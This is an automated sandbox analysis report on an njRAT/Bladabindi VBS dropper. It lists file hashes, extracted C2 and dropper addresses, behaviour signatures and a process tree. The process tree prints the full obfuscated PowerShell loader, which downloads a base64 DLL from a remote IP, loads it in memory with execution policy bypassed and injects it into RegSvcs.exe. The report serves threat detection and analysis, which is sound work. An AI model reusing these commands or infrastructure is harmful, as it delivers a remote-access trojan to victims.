Analysis

  • max time kernel
    152s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220722-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/08/2022, 18:00

General

  • Target

    6e4b16840770fe3b078206831254d138.vbs

  • Size

    204KB

  • MD5

    6e4b16840770fe3b078206831254d138

  • SHA1

    12da33c6224a67811698b2b6c8fb771357a43638

  • SHA256

    7d725947a2cc12a85a532d67444856f521749057a8263a10880634642c2276eb

  • SHA512

    a318aaabe1c9f226d2abaf1556a6693d364676e123e7572a7c95ee44b3f28e1c59f8d7d8a6c203a6e05e0de0f6f0394d6b7c52e8851d2f171880f179a9cdba37

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ARTS/dllf3txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

wibnj.duckdns.org:57831

Mutex

549d524552

Attributes
  • reg_key

    549d524552

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBBAFIAVABTAC8AZABsAGwAZgAzAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH⌚⌚⌚ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAxAFgAWgAvAHcAZQBuAC8AdABzAG⌚⌚⌚AdAAvADkANAAuADkAMQAuADEANAAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAC8AeQB1ADcAeQA2AC⌚⌚⌚AJAAhACIAIwAkAC⌚⌚⌚AJgAvACgAKQA9ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ARTS/dllf3txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.1XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , '/yu7y6%$!"#$%&/()=' ))"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4064
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1208

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          5caad758326454b5788ec35315c4c304

          SHA1

          3aef8dba8042662a7fcf97e51047dc636b4d4724

          SHA256

          83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

          SHA512

          4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

        • memory/1208-144-0x0000000005A80000-0x0000000006024000-memory.dmp

          Filesize

          5.6MB

        • memory/1208-143-0x0000000005430000-0x00000000054CC000-memory.dmp

          Filesize

          624KB

        • memory/1208-147-0x00000000057D0000-0x0000000005836000-memory.dmp

          Filesize

          408KB

        • memory/1208-137-0x0000000000400000-0x000000000040C000-memory.dmp

          Filesize

          48KB

        • memory/1208-146-0x0000000005590000-0x000000000559A000-memory.dmp

          Filesize

          40KB

        • memory/1208-145-0x00000000055C0000-0x0000000005652000-memory.dmp

          Filesize

          584KB

        • memory/2300-133-0x0000013FFA840000-0x0000013FFA862000-memory.dmp

          Filesize

          136KB

        • memory/2300-142-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

          Filesize

          10.8MB

        • memory/2300-134-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

          Filesize

          10.8MB

        • memory/4064-139-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

          Filesize

          10.8MB

        • memory/4064-136-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

          Filesize

          10.8MB